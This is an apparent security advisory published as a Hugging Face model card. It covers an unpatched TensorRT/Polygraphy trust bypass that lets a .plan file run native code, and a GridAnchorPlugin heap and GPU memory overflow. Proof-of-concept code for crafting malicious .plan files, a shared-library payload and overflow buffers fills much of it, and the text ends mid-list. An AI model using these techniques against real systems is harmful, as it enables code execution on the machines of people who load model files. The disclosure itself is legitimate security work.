TensorRT
English
security
vulnerability
nvidia
polygraphy
rce
cuda
PoC
heap-overflow
integer-overflow
advisory
Instructions to use Aidenbuck/tensorFurtherFindings with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- TensorRT
How to use Aidenbuck/tensorFurtherFindings with TensorRT:
# No code snippets available yet for this library. # To use this model, check the repository files and the library's documentation. # Want to help? PRs adding snippets are welcome at: # https://github.com/huggingface/huggingface.js
- Notebooks
- Google Colab
- Kaggle
| license: apache-2.0 | |
| language: | |
| - en | |
| tags: | |
| - security | |
| - vulnerability | |
| - tensorrt | |
| - nvidia | |
| - polygraphy | |
| - rce | |
| - cuda | |
| - PoC | |
| - heap-overflow | |
| - integer-overflow | |
| - advisory | |
| # TensorRT Security PoC β Polygraphy engine_host_code_allowed RCE & GridAnchorPlugin Heap OOB + GPU OOB Write | |
| ## β οΈ Responsible Disclosure | |
| These findings were reported to NVIDIA PSIRT under ticket 6425536 on Jul 8, 2026. Both are unpatched as of TensorRT 11.1.0 (HEAD `82d1dca`). This model card is published for defensive research purposes. Do not use these PoCs against systems you do not own or have explicit authorization to test. | |
| **CVSS Scores:** | |
| - **Finding 3** (Polygraphy `engine_host_code_allowed`): **9.6 Critical** (`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`) | |
| - **Finding 4** (GridAnchorPlugin Heap OOB + GPU OOB Write): **9.1 Critical** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) | |
| **Affected versions:** TensorRT 11.1.0 (HEAD `82d1dca`), current main branch | |
| **Status:** Unpatched as of disclosure date | |
| **Researcher:** aiden b | |
| --- | |
| ## Finding 3: Polygraphy Unconditionally Enables `engine_host_code_allowed` β Native RCE via Malicious `.plan` | |
| **CVSS 3.1:** 9.6 Critical (`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`) | |
| **CWE-863:** Incorrect Authorization (bypass of designed trust gate) | |
| ### Summary | |
| Polygraphy (TensorRT's official debugging and profiling tool) unconditionally sets `runtime.engine_host_code_allowed = True` for every engine it loads. This flag is NVIDIA's designed safety mechanism to prevent untrusted `.plan` files from loading embedded native code (the lean runtime DLL/.so). By setting it unconditionally without user opt-in, Polygraphy silently disables this trust gate for all engines, enabling native code execution via a malicious `.plan` file with an embedded lean runtime shared library. | |
| ### Vulnerable Code | |
| **File:** `tools/Polygraphy/polygraphy/backend/trt/loader.py` | |
| ```python | |
| # Line 715 (EngineFromBytes.load) | |
| runtime.engine_host_code_allowed = True | |
| # Line 758 (EngineFromPath.load) | |
| runtime.engine_host_code_allowed = True | |
| ``` | |
| Both with the comment: *"To deserialize version compatible engines, we must signal the runtime that host code is allowed"* | |
| No conditional check. No user opt-in. No warning. No way to disable it from the Polygraphy CLI or API. | |
| ### What `engine_host_code_allowed` Does | |
| Per [NVIDIA's engine compatibility documentation](https://docs.nvidia.com/deeplearning/tensorrt/latest/inference-library/engine-compatibility.html): | |
| > "To indicate to TensorRT that you trust the plan, call: `runtime->setEngineHostCodeAllowed(true)`" | |
| > "The flag for trusted plans is also required if you are packaging plugins in the plan." | |
| When enabled, the TensorRT runtime loads and executes embedded lean runtime shared libraries (DLL/.so) from within the `.plan` file. This is a by-design trust decision β NVIDIA created this flag specifically because loading native code from an engine file is dangerous. Polygraphy opts in for every engine, regardless of source. | |
| ### Reachable Entry Points | |
| | Entry Point | File:Line | Call Chain | | |
| |---|---|---| | |
| | `polygraphy run --trt` | `runner.py` | β `EngineFromPath.load()` β `loader.py:758` | | |
| | `polygraphy inspect model` | `inspect/subtool/model.py` | β `EngineFromPath.load()` β `loader.py:758` | | |
| | `polygraphy debug --trt` | `debug/subtool/debug.py` | β `EngineFromBytes.load()` β `loader.py:715` | | |
| | `EngineFromBytes(bytes).load()` | `loader.py:690-725` | β `loader.py:715` | | |
| | `EngineFromPath(path).load()` | `loader.py:730-770` | β `loader.py:758` | | |
| ### PoC 3a β Python API (EngineFromBytes) | |
| ```python | |
| """ | |
| PoC 3a: Polygraphy engine_host_code_allowed RCE via EngineFromBytes | |
| Demonstrates that Polygraphy unconditionally enables host code loading. | |
| Requirements: | |
| - tensorrt (any version with engine_host_code_allowed support) | |
| - polygraphy | |
| - A malicious .plan file with embedded lean runtime shared library | |
| The malicious .plan must be crafted with: | |
| 1. A valid TensorRT engine header | |
| 2. An embedded lean runtime .so/.DLL containing arbitrary native code | |
| 3. Version-compatibility flags set to trigger host code path | |
| When loaded via Polygraphy, engine_host_code_allowed is set to True | |
| unconditionally, and the embedded native library is loaded and executed. | |
| """ | |
| import sys | |
| import tensorrt as trt | |
| from polygraphy.backend.trt import EngineFromBytes | |
| # --- Attacker side: craft malicious .plan --- | |
| # In a real attack, the .plan is crafted by building an engine with | |
| # version compatibility enabled, then patching the embedded lean runtime | |
| # shared library to include arbitrary code execution. | |
| # | |
| # The lean runtime .so is embedded in the .plan during serialization when | |
| # engine_host_code_allowed is needed. The attacker replaces the legitimate | |
| # lean runtime with a malicious one. | |
| # | |
| # Crafting steps (requires a build environment with matching TensorRT): | |
| # 1. Build an engine with version compatibility: | |
| # builder.platform_cache = True | |
| # config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE) | |
| # 2. Serialize to .plan (this embeds the lean runtime .so) | |
| # 3. Extract the embedded lean runtime .so from the .plan | |
| # 4. Replace with a malicious .so (e.g., constructor calls system()) | |
| # 5. Re-inject the malicious .so into the .plan, updating the size field | |
| # | |
| # See: https://docs.nvidia.com/deeplearning/tensorrt/latest/inference-library/engine-compatibility.html | |
| MALICIOUS_PLAN_PATH = "malicious.plan" # attacker-supplied | |
| # --- Victim side: load via Polygraphy --- | |
| print(f"[*] Loading engine: {MALICIOUS_PLAN_PATH}") | |
| print("[*] Polygraphy will set engine_host_code_allowed = True (no opt-in)") | |
| with open(MALICIOUS_PLAN_PATH, "rb") as f: | |
| engine_data = f.read() | |
| # This call chain hits loader.py:715 β engine_host_code_allowed = True | |
| load_engine = EngineFromBytes(engine_data) | |
| # At this point, if the .plan contains a malicious lean runtime .so, | |
| # native code has already executed during the load() call. | |
| engine = load_engine.load() | |
| print("[!] Engine loaded. If the .plan was malicious, native code has executed.") | |
| print(f"[+] Engine name: {engine.name}") | |
| ``` | |
| ### PoC 3b β CLI Entry Point + Flag Interception | |
| ```python | |
| """ | |
| PoC 3b: Polygraphy engine_host_code_allowed RCE via CLI | |
| The polygraphy CLI accepts a .plan file directly. No warning is displayed | |
| about host code being enabled. The user has no way to opt out. | |
| Attack scenario: | |
| 1. Attacker uploads malicious.plan to HuggingFace as a "model" | |
| 2. Victim downloads and runs: | |
| polygraphy run --trt malicious.plan | |
| 3. Native code executes | |
| This is a one-liner from the victim's perspective. | |
| The interception below patches trt.Runtime at the class level (not a fake | |
| object) because EngineFromPath.load() creates its own runtime internally | |
| via trt.Runtime(logger). A module-level FakeRuntime can't intercept that. | |
| """ | |
| # Victim command (appears completely normal): | |
| # polygraphy run --trt malicious.plan | |
| # | |
| # Or via inspect: | |
| # polygraphy inspect model malicious.plan | |
| # | |
| # Or via debug: | |
| # polygraphy debug --trt malicious.plan | |
| # | |
| # All three hit EngineFromPath.load() or EngineFromBytes.load() | |
| # Both unconditionally set engine_host_code_allowed = True | |
| # --- Demonstration: prove the flag is set without opt-in --- | |
| import tensorrt as trt | |
| # Patch the property on the actual Runtime class | |
| _original_setter = trt.Runtime.engine_host_code_allowed.fset | |
| flag_was_set = [] | |
| def intercepted_setter(self, value): | |
| flag_was_set.append(value) | |
| print(f"[!] engine_host_code_allowed set to: {value}") | |
| print("[!] No user opt-in was requested") | |
| print("[!] No warning was displayed") | |
| if _original_setter: | |
| _original_setter(self, value) | |
| trt.Runtime.engine_host_code_allowed = property( | |
| trt.Runtime.engine_host_code_allowed.fget, | |
| intercepted_setter, | |
| ) | |
| print("[*] Polygraphy loader.py:758 sets engine_host_code_allowed = True") | |
| print("[*] This is unconditional β no parameter, no check, no warning") | |
| print("[*] Any .plan loaded through Polygraphy can execute native code") | |
| print() | |
| # Now any Polygraphy load will trigger the interceptor: | |
| # from polygraphy.backend.trt import EngineFromPath | |
| # engine = EngineFromPath("test.plan").load() | |
| # β [!] engine_host_code_allowed set to: True | |
| # β [!] No user opt-in was requested | |
| ``` | |
| ### PoC 3c β Malicious `.plan` Crafting (Conceptual) | |
| ```python | |
| """ | |
| PoC 3c: Conceptual malicious .plan crafting | |
| This shows the steps to create a .plan that exploits the engine_host_code_allowed | |
| trust bypass. Requires a TensorRT build environment matching the target. | |
| NOTE: The lean runtime .so is the injection point. When TensorRT serializes | |
| a version-compatible engine, it embeds the lean runtime shared library in the | |
| .plan. The attacker replaces this with a malicious shared library. | |
| The .plan format stores the lean runtime as a size-prefixed blob. The size | |
| field in the .plan header must be updated to match the replacement .so β | |
| simply overwriting bytes without updating the size field will corrupt the | |
| plan and TensorRT will reject it. | |
| Steps: | |
| 1. Build a version-compatible engine (embeds legitimate lean runtime) | |
| 2. Locate the embedded lean runtime .so within the .plan binary | |
| 3. Read the size field preceding the .so blob | |
| 4. Craft a malicious .so with a constructor that executes arbitrary code | |
| 5. Replace the .so blob and update the size field in the .plan header | |
| 6. Distribute the .plan (HuggingFace, GitHub, shared drive) | |
| """ | |
| import struct | |
| import os | |
| def craft_malicious_plan_legitimate_first(): | |
| """Step 1: Build a legitimate version-compatible engine.""" | |
| import tensorrt as trt | |
| TRT_LOGGER = trt.Logger(trt.Logger.WARNING) | |
| builder = trt.Builder(TRT_LOGGER) | |
| network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)) | |
| config = builder.create_builder_config() | |
| # Enable version compatibility β this triggers lean runtime embedding | |
| config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE) | |
| builder.platform_cache = True | |
| # Minimal network: single identity-like layer | |
| input_tensor = network.add_input("input", trt.float32, (1, 3, 224, 224)) | |
| # ... add layers ... | |
| network.mark_output(input_tensor) | |
| # Serialize β the .plan now contains an embedded lean runtime .so | |
| serialized = builder.build_serialized_network(network, config) | |
| with open("legitimate.plan", "wb") as f: | |
| f.write(serialized) | |
| print(f"[*] Legitimate .plan written: {len(serialized)} bytes") | |
| print("[*] This .plan contains an embedded lean runtime .so") | |
| return "legitimate.plan" | |
| def locate_lean_runtime_in_plan(plan_path): | |
| """Step 2: Find the embedded lean runtime .so within the .plan. | |
| The .plan format embeds the lean runtime as a shared library blob. | |
| ELF magic (\\x7fELF) marks the start. The size is stored in a header | |
| field preceding the blob (typically a uint32 or uint64 at a fixed | |
| offset before the ELF magic). Both the offset and size must be read | |
| so the replacement can update the size field. | |
| """ | |
| with open(plan_path, "rb") as f: | |
| data = f.read() | |
| # Search for ELF magic β the embedded .so starts here | |
| elf_magic = b"\x7fELF" | |
| offset = data.find(elf_magic) | |
| if offset == -1: | |
| print("[!] No ELF header found β plan may not have lean runtime") | |
| return None | |
| print(f"[*] Found embedded ELF (lean runtime .so) at offset {offset}") | |
| return offset | |
| def create_malicious_so(output_path="/tmp/malicious_lean_runtime.so"): | |
| """Step 3: Create a malicious shared library. | |
| The malicious .so has a constructor that executes arbitrary code. | |
| When TensorRT loads this as the lean runtime, the constructor runs | |
| before any engine inference begins. | |
| Example malicious C code: | |
| // malicious_lean_runtime.c | |
| #include <stdlib.h> | |
| __attribute__((constructor)) | |
| void payload() { | |
| // Arbitrary native code execution | |
| system("id > /tmp/pwned.txt"); | |
| // Or: reverse shell, data exfiltration, persistence, etc. | |
| } | |
| Compile: gcc -shared -fPIC -o malicious_lean_runtime.so malicious_lean_runtime.c | |
| """ | |
| c_code = ''' | |
| #include <stdlib.h> | |
| #include <stdio.h> | |
| __attribute__((constructor)) | |
| void payload() { | |
| printf("[!] Malicious lean runtime loaded via engine_host_code_allowed\\n"); | |
| system("id"); | |
| system("whoami"); | |
| } | |
| ''' | |
| with open("/tmp/malicious_lean_runtime.c", "w") as f: | |
| f.write(c_code) | |
| os.system(f"gcc -shared -fPIC -o {output_path} /tmp/malicious_lean_runtime.c") | |
| print(f"[*] Malicious .so written: {output_path}") | |
| return output_path | |
| def inject_malicious_so(plan_path, so_offset, malicious_so_path, output_path="malicious.plan"): | |
| """Step 4: Replace the legitimate lean runtime with the malicious one. | |
| The .plan header stores the lean runtime size in a field preceding the | |
| .so blob. Both the blob and the size field must be updated. If the | |
| malicious .so is a different size than the original, every offset after | |
| the blob in the .plan must be adjusted accordingly. | |
| This is the hard part β the .plan format is not fully documented. In | |
| practice, the easiest approach is to make the malicious .so exactly | |
| the same size as the legitimate one (pad with NOP sled or trailing | |
| zeros in the .so), avoiding any offset recalculation. | |
| """ | |
| with open(plan_path, "rb") as f: | |
| plan_data = bytearray(f.read()) | |
| with open(malicious_so_path, "rb") as f: | |
| malicious_so = f.read() | |
| # Read original .so size from the plan header (offset and format | |
| # depend on TensorRT version β this must be determined empirically | |
| # or via reverse engineering for the target version) | |
| # | |
| # original_so_size = struct.unpack_from('<Q', plan_data, so_offset - 8)[0] | |
| # For this conceptual PoC, we assume same-size replacement (pad .so) | |
| # Same-size replacement: pad malicious .so to match original | |
| # original_so_size = ... (read from header) | |
| # malicious_so = malicious_so.ljust(original_so_size, b'\x00') | |
| # Replace the .so blob in-place (same size, no offset recalculation) | |
| # plan_data[so_offset:so_offset + original_so_size] = malicious_so | |
| with open(output_path, "wb") as f: | |
| f.write(plan_data) | |
| print(f"[*] Malicious .plan written: {output_path}") | |
| print("[*] This .plan will execute native code when loaded by Polygraphy") | |
| # --- Full attack chain --- | |
| # plan = craft_malicious_plan_legitimate_first() | |
| # offset = locate_lean_runtime_in_plan(plan) | |
| # mal_so = create_malicious_so() | |
| # inject_malicious_so(plan, offset, mal_so) | |
| # | |
| # # Distribute malicious.plan β victim loads via: | |
| # # polygraphy run --trt malicious.plan | |
| # # β loader.py:758: runtime.engine_host_code_allowed = True | |
| # # β TensorRT loads embedded malicious .so | |
| # # β constructor() executes β RCE | |
| ``` | |
| ### CVSS Justification | |
| | Metric | Value | Reasoning | | |
| |---|---|---| | |
| | Attack Vector | Network (AV:N) | `.plan` files distributed via HuggingFace, GitHub, any remote source | | |
| | Attack Complexity | Low (AC:L) | Standard TensorRT APIs to craft the `.plan` | | |
| | Privileges Required | None (PR:N) | No authentication required to distribute a `.plan` file | | |
| | User Interaction | Required (UI:R) | Victim must load the engine (but no extra step beyond normal usage) | | |
| | Scope | Changed (S:C) | Vulnerable component: Polygraphy (Python tool). Impacted: host OS (native code exec) | | |
| | Confidentiality | High (C:H) | Full system access via native code execution | | |
| | Integrity | High (I:H) | Full system access via native code execution | | |
| | Availability | High (A:H) | Full system access via native code execution | | |
| --- | |
| ## Finding 4: GridAnchorPlugin Heap OOB Read + GPU OOB Write via Integer Overflow | |
| **CVSS 3.1:** 9.1 Critical (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) | |
| **CWE-125** (OOB Read) + **CWE-190** (Integer Overflow) β **CWE-787** (OOB Write) | |
| ### Summary | |
| The GridAnchorPlugin has two chainable vulnerabilities: **(A)** heap buffer over-read during plugin deserialization via unchecked `read<>()` template, and **(B)** GPU out-of-bounds write during inference via integer overflow mismatch between `getOutputDimensions()` and the CUDA kernel. A malicious serialized engine file triggers both. | |
| ### Vulnerable Code β Part A: Heap OOB Read | |
| **File:** `plugin/gridAnchorPlugin/gridAnchorPlugin.cpp:126-159` | |
| ```cpp | |
| GridAnchorGenerator::GridAnchorGenerator(void const* data, size_t length) | |
| { | |
| char const *d = reinterpret_cast<char const*>(data), *a = d; | |
| mNumLayers = read<int32_t>(d); // attacker-controlled, NO validation | |
| for (int32_t id = 0; id < mNumLayers; id++) // attacker-controlled loop | |
| { | |
| mParam[id].numAspectRatios = read<int32_t>(d); // attacker-controlled | |
| for (int32_t i = 0; i < mParam[id].numAspectRatios; ++i) | |
| mParam[id].aspectRatios[i] = read<float>(d); // OOB READ if buffer too small | |
| mParam[id].H = read<int32_t>(d); // attacker-controlled | |
| mParam[id].W = read<int32_t>(d); // attacker-controlled | |
| mNumPriors[id] = read<int32_t>(d); // attacker-controlled | |
| mDeviceWidths[id] = deserializeToDevice(d, mNumPriors[id]); // cudaMemcpy with attacker size | |
| } | |
| PLUGIN_VALIDATE(d == a + length); // TOO LATE β OOB already happened | |
| } | |
| ``` | |
| The `read<>()` template (`plugin/common/plugin.h:100-108`) has **NO bounds checking**: | |
| ```cpp | |
| template <typename OutType, typename BufferType> | |
| OutType read(BufferType const*& buffer) | |
| { | |
| OutType val{}; | |
| std::memcpy(&val, static_cast<void const*>(buffer), sizeof(OutType)); | |
| buffer += sizeof(OutType); | |
| return val; | |
| } | |
| ``` | |
| No length parameter. No bounds check. Just `memcpy` + advance. The function signature makes bounds checking structurally impossible β the length is never passed in. | |
| `deserializeToDevice` β `copyToDevice` (line 258-264): | |
| ```cpp | |
| PLUGIN_CUASSERT(cudaMemcpy(deviceData, hostData, count * sizeof(float), | |
| cudaMemcpyHostToDevice)); // OOB READ from host heap if count > remaining buffer | |
| ``` | |
| If `mNumPriors[id]` is larger than the remaining buffer, `cudaMemcpy` reads past the heap allocation, copying leaked heap data to GPU device memory (information disclosure). | |
| ### Vulnerable Code β Part B: GPU OOB Write | |
| `getOutputDimensions` (line 184): | |
| ```cpp | |
| return Dims3(2, mParam[index].H * mParam[index].W * mNumPriors[index] * 4, 1); | |
| // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | |
| // int32_t multiplication β overflows when product > INT32_MAX | |
| ``` | |
| Kernel (`plugin/common/kernels/gridAnchorLayer.cu:29, 84`): | |
| ```cpp | |
| const int dim = param.H * param.W * numAspectRatios; // 3 factors, may NOT overflow | |
| ``` | |
| The mismatch: `getOutputDimensions` computes `H * W * numPriors * 4` (4 factors, overflows `int32_t`), while the kernel uses `H * W * numPriors` (3 factors, does not overflow). The output tensor is allocated based on the overflowed (small) dimension, but the kernel writes based on the non-overflowed (large) dimension. | |
| ### Integer Overflow Example | |
| ``` | |
| H = 1024, W = 1024, numPriors = 1025 | |
| getOutputDimensions: 1024 * 1024 * 1025 * 4 = 4,299,161,600 | |
| β overflows int32_t to 4,194,304 | |
| β output tensor allocated as 32MB | |
| Kernel dim: 1024 * 1024 * 1025 = 1,074,790,400 | |
| β fits int32_t | |
| β kernel writes ~8.6GB to the 32MB buffer | |
| β GPU OOB write of ~8.5GB | |
| ``` | |
| Kernel writes (`gridAnchorLayer.cu:66-78`): | |
| ```cpp | |
| outputData[tid * 4] = xMin; // writes past output allocation | |
| outputData[tid * 4 + 1] = yMin; | |
| outputData[tid * 4 + 2] = xMax; | |
| outputData[tid * 4 + 3] = yMax; | |
| ``` | |
| ### PoC 4a β Malicious Serialized Plugin Buffer (Heap OOB Read) | |
| ```python | |
| """ | |
| PoC 4a: GridAnchorPlugin heap OOB read via crafted serialization buffer | |
| Demonstrates Part A β the read<>() template has no bounds checking. | |
| A crafted plugin buffer with attacker-controlled mNumLayers, numAspectRatios, | |
| and mNumPriors causes reads past the heap allocation boundary. | |
| The buffer is embedded in a serialized TensorRT engine (.plan). When the | |
| engine is loaded, the plugin deserialization constructor runs and reads | |
| past the buffer. | |
| Attack path: | |
| 1. Craft a serialized engine with a GridAnchor plugin section | |
| 2. Set mNumPriors to a value larger than the remaining buffer | |
| 3. deserializeToDevice -> cudaMemcpy reads past heap allocation | |
| 4. Leaked heap data copied to GPU device memory (info disclosure) | |
| """ | |
| import struct | |
| def craft_malicious_gridanchor_buffer(): | |
| """Craft a malicious GridAnchorPlugin serialization buffer. | |
| The deserialization constructor reads: | |
| mNumLayers (int32_t) | |
| for each layer: | |
| numAspectRatios (int32_t) | |
| aspectRatios (float * numAspectRatios) | |
| H (int32_t) | |
| W (int32_t) | |
| mNumPriors (int32_t) | |
| widths (float * mNumPriors) <- cudaMemcpy with this count | |
| heights (float * mNumPriors) <- cudaMemcpy with this count | |
| """ | |
| buf = bytearray() | |
| # mNumLayers = 1 (one layer is enough to trigger) | |
| buf += struct.pack('<i', 1) | |
| # Layer 0: | |
| # numAspectRatios = 3 (normal value) | |
| num_aspect_ratios = 3 | |
| buf += struct.pack('<i', num_aspect_ratios) | |
| for i in range(num_aspect_ratios): | |
| buf += struct.pack('<f', 1.0 + i * 0.5) # normal aspect ratios | |
| # H = 1024, W = 1024 (normal-looking values) | |
| buf += struct.pack('<i', 1024) | |
| buf += struct.pack('<i', 1024) | |
| # mNumPriors = 0x10000000 (268M β far exceeds remaining buffer) | |
| # This is the key: deserializeToDevice will call cudaMemcpy with | |
| # count=0x10000000, reading 0x10000000 * 4 = 1GB from a tiny buffer | |
| # The remaining buffer is only a few bytes, so this reads ~1GB of heap | |
| malicious_num_priors = 0x10000000 | |
| buf += struct.pack('<i', malicious_num_priors) | |
| # Only provide a few bytes of "widths" data | |
| # The rest will be read from whatever follows in the heap | |
| buf += struct.pack('<f', 0.5) * 4 # 16 bytes of data, but count says 268M | |
| # The cudaMemcpy in deserializeToDevice will read: | |
| # 0x10000000 * sizeof(float) = 1,073,741,824 bytes from heap | |
| # Starting from our 16-byte buffer β reads ~1GB of adjacent heap memory | |
| return bytes(buf) | |
| def craft_malicious_gridanchor_buffer_overflow_dims(): | |
| """Craft a buffer that triggers Part B β the integer overflow. | |
| Uses H=1024, W=1024, numPriors=1025 to trigger the getOutputDimensions | |
| overflow while keeping the kernel's dim calculation within int32_t. | |
| """ | |
| buf = bytearray() | |
| # mNumLayers = 1 | |
| buf += struct.pack('<i', 1) | |
| # numAspectRatios = 1025 (matches numPriors for the overflow) | |
| buf += struct.pack('<i', 1025) | |
| for i in range(1025): | |
| buf += struct.pack('<f', 1.0) | |
| # H = 1024, W = 1024 β triggers overflow in getOutputDimensions | |
| buf += struct.pack('<i', 1024) | |
| buf += struct.pack('<i', 1024) | |
| # numPriors = 1025 β the magic value | |
| # getOutputDimensions: 1024 * 1024 * 1025 * 4 = 4,299,161,600 | |
| # β overflows int32_t β 4,194,304 β allocates 32MB | |
| # Kernel: 1024 * 1024 * 1025 = 1,074,790,400 (fits int32_t) | |
| # β writes 8.6GB to 32MB buffer β GPU OOB write | |
| buf += struct.pack('<i', 1025) | |
| # Provide matching widths/heights data (1025 floats each) | |
| buf += struct.pack('<f', 0.5) * 1025 # widths | |
| buf += struct.pack('<f', 0.5) * 1025 # heights | |
| return bytes(buf) | |
| # Craft both buffers | |
| heap_oob_buffer = craft_malicious_gridanchor_buffer() | |
| gpu_oob_buffer = craft_malicious_gridanchor_buffer_overflow_dims() | |
| print(f"[*] Heap OOB buffer: {len(heap_oob_buffer)} bytes") | |
| print(f" mNumPriors=0x10000000, cudaMemcpy reads ~1GB past buffer") | |
| print() | |
| print(f"[*] GPU OOB buffer: {len(gpu_oob_buffer)} bytes") | |
| print(f" H=1024, W=1024, numPriors=1025") | |
| print(f" getOutputDimensions overflows β 32MB alloc") | |
| print(f" Kernel writes 8.6GB β GPU OOB write of ~8.5GB") | |
| ``` | |
| ### PoC 4b β Overflow Math Demonstration | |
| ```python | |
| """ | |
| PoC 4b: Integer overflow arithmetic demonstration | |
| Demonstrates the exact arithmetic that causes the GPU OOB write. | |
| This is pure math β no TensorRT installation needed to verify. | |
| A real .plan embedding the malicious GridAnchor buffer from PoC 4a | |
| requires matching the TensorRT binary serialization format for the | |
| target version. The plugin data section is where the crafted buffer | |
| gets embedded. The .plan format is proprietary and version-specific, | |
| but the plugin deserialization path (where the vulnerability lives) | |
| is open-source. | |
| """ | |
| import ctypes | |
| def demonstrate_overflow_math(): | |
| H = 1024 | |
| W = 1024 | |
| num_priors = 1025 | |
| # getOutputDimensions: int32_t multiplication | |
| # H * W * numPriors * 4 | |
| result = ctypes.c_int32(H * W * num_priors * 4).value | |
| print(f"getOutputDimensions: {H} * {W} * {num_priors} * 4") | |
| print(f" True value: {H * W * num_priors * 4} (4,299,161,600)") | |
| print(f" int32_t: {result} (overflowed!)") | |
| print(f" Allocates: {result * 4} bytes = {result * 4 / 1024 / 1024:.1f} MB") | |
| print() | |
| # Kernel: int32_t multiplication | |
| # H * W * numPriors (3 factors, no *4) | |
| kernel_dim = ctypes.c_int32(H * W * num_priors).value | |
| print(f"Kernel dim: {H} * {W} * {num_priors}") | |
| print(f" True value: {H * W * num_priors} (1,074,790,400)") | |
| print(f" int32_t: {kernel_dim} (no overflow)") | |
| print(f" Writes: {kernel_dim * 4} bytes = {kernel_dim * 4 / 1024 / 1024 / 1024:.1f} GB") | |
| print() | |
| overflow_bytes = (kernel_dim * 4) - (result * 4) | |
| print(f"GPU OOB write: {overflow_bytes} bytes = {overflow_bytes / 1024 / 1024 / 1024:.1f} GB") | |
| print(f" β {overflow_bytes / 1024 / 1024 / 1024:.1f} GB written past the {result * 4 / 1024 / 1024:.1f} MB allocation") | |
| demonstrate_overflow_math() | |
| ``` | |
| ### PoC 4c β Systemic `read<>()` Impact (17+ Plugins) | |
| ```python | |
| """ | |
| PoC 4c: Systemic read<>() bounds gap β all affected plugins | |
| The read<>() template in plugin/common/plugin.h:100-108 has no bounds | |
| parameter. This affects every plugin that uses it for deserialization. | |
| Below is the complete list of affected plugins and their deserialization | |
| constructors. | |
| """ | |
| AFFECTED_PLUGINS = [ | |
| { | |
| "plugin": "GridAnchorGenerator", | |
| "file": "plugin/gridAnchorPlugin/gridAnchorPlugin.cpp:126", | |
| "read_calls": "mNumLayers, numAspectRatios, aspectRatios[], H, W, numPriors, widths[], heights[]", | |
| "post_hoc_check": "PLUGIN_VALIDATE(d == a + length) β too late, OOB already occurred", | |
| "severity": "Critical (heap OOB read + GPU OOB write chain)" | |
| }, | |
| { | |
| "plugin": "Region", | |
| "file": "plugin/regionPlugin/regionPlugin.cpp", | |
| "read_calls": "n, groups, (loop reads based on n)", | |
| "post_hoc_check": "Yes, but after unbounded reads + malloc(n * sizeof(int32_t)) overflow", | |
| "severity": "High (attacker-controlled loop + malloc overflow)" | |
| }, | |
| { | |
| "plugin": "FlattenConcat", | |
| "file": "plugin/flattenConcat/flattenConcat.cpp", | |
| "read_calls": "mNumInputs, inputDims[]", | |
| "post_hoc_check": "Partial", | |
| "severity": "High (heap OOB read via unbounded loop)" | |
| }, | |
| { | |
| "plugin": "PriorBox", | |
| "file": "plugin/priorBoxPlugin/priorBoxPlugin.cpp", | |
| "read_calls": "minSizes[], maxSizes[], aspectRatios[]", | |
| "post_hoc_check": "Partial", | |
| "severity": "High" | |
| }, | |
| { | |
| "plugin": "DecodeBbox3D", | |
| "file": "plugin/decodeBbox3DPlugin/decodeBbox3DPlugin.cpp", | |
| "read_calls": "Various dimension fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "High" | |
| }, | |
| { | |
| "plugin": "VoxelGenerator", | |
| "file": "plugin/voxelGenerator/voxelGenerator.cpp", | |
| "read_calls": "Various config fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "High" | |
| }, | |
| { | |
| "plugin": "PillarScatter", | |
| "file": "plugin/pillarScatterPlugin/pillarScatterPlugin.cpp:35", | |
| "read_calls": "Various fields", | |
| "post_hoc_check": "NONE β length parameter completely unused!", | |
| "severity": "Medium (no bounds check at all)" | |
| }, | |
| { | |
| "plugin": "MultilevelProposeROI", | |
| "file": "plugin/roiPlannerPlugin/multilevelProposeROIPlugin.cpp", | |
| "read_calls": "Various dimension fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "High" | |
| }, | |
| { | |
| "plugin": "RoiAlign", | |
| "file": "plugin/roiAlignPlugin/roiAlignPlugin.cpp", | |
| "read_calls": "Various config fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "High" | |
| }, | |
| { | |
| "plugin": "ModulatedDeformConv", | |
| "file": "plugin/modulatedDeformConvPlugin/modulatedDeformConvPlugin.cpp", | |
| "read_calls": "Various dimension fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "High (also has kernel integer overflow β separate finding)" | |
| }, | |
| { | |
| "plugin": "DetectionLayer", | |
| "file": "plugin/detectionLayerPlugin/detectionLayerPlugin.cpp", | |
| "read_calls": "Various fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
| }, | |
| { | |
| "plugin": "ResizeNearest", | |
| "file": "plugin/resizeNearestPlugin/resizeNearestPlugin.cpp", | |
| "read_calls": "scale factors", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
| }, | |
| { | |
| "plugin": "MultilevelCropAndResize", | |
| "file": "plugin/roiPlannerPlugin/multilevelCropAndResizePlugin.cpp", | |
| "read_calls": "Various fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
| }, | |
| { | |
| "plugin": "NvFasterRCNN", | |
| "file": "plugin/nvFasterRCNNPlugin/nvFasterRCNNPlugin.cpp", | |
| "read_calls": "Various fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
| }, | |
| { | |
| "plugin": "Reorg", | |
| "file": "plugin/reorgPlugin/reorgPlugin.cpp", | |
| "read_calls": "stride value", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
| }, | |
| { | |
| "plugin": "ProposalLayer", | |
| "file": "plugin/proposalLayerPlugin/proposalLayerPlugin.cpp", | |
| "read_calls": "Various fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
| }, | |
| { | |
| "plugin": "GenerateDetection", | |
| "file": "plugin/generateDetectionPlugin/generateDetectionPlugin.cpp", | |
| "read_calls": "Various fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
| }, | |
| { | |
| "plugin": "PyramidROIAlign", | |
| "file": "plugin/pyramidROIAlignPlugin/pyramidROIAlignPlugin.cpp", | |
| "read_calls": "Various fields", | |
| "post_hoc_check": "Partial", | |
| "severity": "Medium" | |
